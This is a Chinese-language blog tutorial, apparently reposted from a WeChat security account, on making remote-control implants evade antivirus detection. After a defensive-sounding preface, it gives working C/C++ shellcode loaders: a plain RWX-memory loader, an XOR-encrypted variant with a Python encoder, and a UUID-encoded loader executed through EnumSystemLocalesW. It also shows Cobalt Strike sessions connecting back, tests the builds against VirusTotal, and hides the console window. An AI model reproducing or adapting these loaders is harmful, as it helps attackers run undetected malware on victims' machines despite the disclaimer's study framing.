远控免杀从入门到实践

admin 2024年1月29日21:19:24评论17 views字数 5035阅读16分47秒阅读模式

                                  免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

——鼹鼠

远控免杀从入门到实践
远控免杀从入门到实践

前言:

在当今数字化时代,网络安全已成为关乎国家安全、企业利益和个人隐私的重大问题。而在众多网络安全威胁中,远程控制软件成为黑客进行攻击的重要手段之一。为了更好地保护我们的系统和数据安全,我们需要深入了解远控免杀技术,从入门到实践全面掌握其防范策略。

远控免杀技术是一种使远程控制软件在目标系统上隐藏自身、规避安全检测和杀毒软件查杀的技术。由于其高度的隐蔽性和危害性,远控免杀技术已成为网络安全领域的一大难题。因此,学习和研究远控免杀技术对于提高我们的网络安全防护能力具有重要的意义。

然而,远控免杀技术并非易事,需要具备一定的技术基础和实践经验。对于初学者来说,如何入门并逐步掌握远控免杀技术的核心要点是关键所在。本篇文章将为你揭示远控免杀技术的奥秘,从入门到实践为你提供全面的指导。

首先,我们将介绍远控免杀技术的起源和背景,让你了解其发展历程和现状。接着,我们将深入探讨远控免杀技术的原理和实现方式,为你揭示其隐藏在背后的技术细节。在此基础上,我们将分享一些常见的远控免杀工具和技术,并对其进行详细的分析和比较。

在掌握了基本原理和工具之后,我们将进入实践环节。我们将通过一系列的实验和案例分析,让你亲身体验远控免杀技术的实际应用和效果。在这个过程中,我们将注重实践技巧和经验的传授,为你提供切实可行的防范策略和解决方案。

最后,我们将总结全文要点,并为你提供进一步学习和探索的方向和建议。通过本篇文章的学习,你将能够全面了解远控免杀技术的前沿动态和实践经验,为你的网络安全防护工作提供有力的支持。

在这个日新月异的数字化时代,网络安全领域的挑战和机遇并存。只有不断学习和实践,我们才能紧跟时代的步伐,更好地应对各种网络安全威胁。希望本篇文章能够成为你深入了解远控免杀技术的敲门砖,激发你对网络安全领域的兴趣和热情。让我们共同为构建一个安全、可靠的网络环境而努力!

1.什么是免杀

概念

免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

杀毒软件检测方式

常见扫描方式:

扫描压缩包技术、程序窜改防护、修复技术、急救盘杀毒、智能扫描、全盘扫描、勒索软件防护、开机扫描

监控技术:

内存监控、文件监控、邮件监控、网页防护、行为防护

扫描引擎

特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术

2.免杀技术介绍

修改特征码

免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。

花指令免杀

花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。

加壳免杀

软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。

内存免杀

CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。

二次编译

metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的

分离免杀

采用分离法,即将ShellCode和加载器分离。分离免杀之所以能获得很好的效果就是因为shellcode加载器本身并不包含恶意代码,自然也不会包含恶意软件的特征码,而只有当加载器运行时,它才会从程序之外加载shellcode执行,通过这种方式能够有效避免基于特征码的查杀方式

实践

这里用的代码是c/c++来实现的,也可以用其他语言来实现,效果可能会更好,首先用cs(msf也行)生成shellcode

申请动态内存加载

下面代码会申请一块动态内存,在加载shellcode

代码:

#include<stdio.h>#include<Windows.h>unsigned char buf[] = "";int main() {    char* Memory;    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    memcpy(Memory, buf, sizeof(buf));    ((void(*)())Memory)();    return 1;}

使用vs 2019编译,之后CTRL+B生成exe文件

远控免杀从入门到实践

在项目下的根目录x64\Release的位置找到exe并执行,cs也是上线了

远控免杀从入门到实践

接下来尝试下VT

远控免杀从入门到实践

建议不要多次跑VT,要不然效果会越来越不好

XOR加密

这里先用python对shellcode进行XOR加密

代码:

#!/usr/bin/env python# encoding: utf-8'''@Author         : xd@Date           : 2021-01-23 15:57@Description    : shellcode XOR加密.'''import randombuf = b"""[shellcode]"""key = random.randint(30, 90)def encrypt():    print("key:%s" % key)    i = 1    st = ''    for c in buf:        if i == key:            i = 1        st += '%#x' % (c ^ i)        i += 1    st = st.replace("0x", "\x")    print(st)if __name__ == "__main__":    encrypt()

执行后会生成一个key值和加密后的shellcode

远控免杀从入门到实践

下面代码把shellcode加载到内存并执行

#include<stdio.h>#include<Windows.h>#include<string.h>int  main(){ unsigned char encryptedShellcode[] = ""; //加密后的shellcode int key = ;  //key值 unsigned char buf[sizeof(encryptedShellcode)]; int len = sizeof(encryptedShellcode); int j = 1; for (int i = 0; i < len; ++i) {  if (j == key) j = 1;  buf[i] = encryptedShellcode[i] ^ j;  ++j; } char* addr; addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL)  return -1; memcpy(addr, buf, sizeof(buf)); ((void(*)())addr)(); return 0;}

填充后,使用vs 2019编译,之后CTRL+B生成exe文件,运行后cs还是上线了

远控免杀从入门到实践

UUID

先用python把shellcode转变成UUID字符串数组

#coding=utf-8import uuid#Input your shellcode like:xfcx48x83xe4xf0xe8xxxbuf = b"""[shellcode]"""import uuiddef convertToUUID(shellcode):    # If shellcode is not in multiples of 16, then add some nullbytes at the end    if len(shellcode) % 16 != 0:        print("[-] Shellcode's length not multiplies of 16 bytes")        print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")        print("n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))        addNullbyte = b"x00" * (16 - (len(shellcode) % 16))        shellcode += addNullbyte    uuids = []    for i in range(0, len(shellcode), 16):        uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))        uuids.append(uuidString.replace("'", """))    return uuidsu = convertToUUID(buf)print(str(u).replace("'", """))

执行并获取uuid字符串数组

远控免杀从入门到实践

下面代码把shellcode加载到内存并执行,C的数组是用{},所以要把py生成的[]换成{}放到下面uuids

#include<stdio.h>#include<Windows.h>#include<string.h>const char *uuids[] = ;//uuid数组int  main(){ int len = sizeof(uuids)/sizeof(char*); char* addr = NULL; addr = HeapCreate(0x00040000, 0, 0); if (addr == NULL)  return -1; ZwAllocateVirtualMemory(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); char* addrPtr = addr; for (int i = 0; i < len; ++i) {  byte* u = (byte*)uuids[i];  RPC_STATUS rpcStatus = UuidFromStringA(&u[0], addrPtr);  if (rpcStatus != 0) return 0;  addrPtr += 16; } EnumSystemLocalesW(addr, 0); return 0;}

这里把申请动态的方式换了函数,同时把加载到内存的方式变换了,这样可以逃避部分杀软的监控,从而达到更好的效果,接下来vs 2019进行编译,不出意外会报错,因为缺少依赖,所以在项目->项目属性(我的是Project属性)

远控免杀从入门到实践

在链接器->输入,点击附加依赖项编辑,添加上rpccrt4.lib;ntdll.lib,最后CTRL+B,生成exe文件

远控免杀从入门到实践

下来在靶机运行exe,cs还是上线了

远控免杀从入门到实践
远控免杀从入门到实践

接下来使用VT

远控免杀从入门到实践
效果不错,但是小伙伴有没有发现在靶机运行exe后会有一个黑框,现在我们取消黑框,在代码中加入
#pragma comment(linker,“/subsystem:“Windows” /entry:“mainCRTStartup””),
控制台程序不出黑窗口,再次生成exe跑VT
远控免杀从入门到实践
只多了一行代码安全供应商翻了几倍,所以建议大家可以把这改成其他代码实现,效果会很不错
总结
最终也是全部实现了,实践中用到的杀软都是个人版,后面的免杀需要靠大家寻找那些陌生的函数以及其他方式,没有被人发现的,这样免杀才能一直玩下去
大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字
5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u
3.

原文始发于微信公众号(天盾信安):远控免杀从入门到实践

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月29日21:19:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远控免杀从入门到实践http://cn-sec.com/archives/2440035.html

发表评论

匿名网友 填写信息